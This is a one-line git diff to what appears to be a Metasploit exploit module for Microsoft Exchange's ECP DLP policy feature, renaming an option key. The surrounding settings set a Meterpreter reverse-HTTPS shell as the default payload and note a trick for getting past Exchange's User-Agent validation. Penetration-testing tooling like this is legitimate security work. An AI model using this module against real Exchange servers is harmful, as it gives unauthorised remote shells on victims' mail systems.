diff --git a/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb b/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb
index 82ba036502a2..f09064ea0137 100644
--- a/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb
+++ b/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb
@@ -61,7 +61,7 @@ def initialize(info = {})
         'DefaultOptions' => {
           'SSL' => true,
           'PAYLOAD' => 'windows/x64/meterpreter/reverse_https',
-          'HttpUserAgent' => '', # HACK: Bypass Exchange's User-Agent validation
+          'UserAgent' => '', # HACK: Bypass Exchange's User-Agent validation
           'HttpClientTimeout' => 5,
           'WfsDelay' => 10
         },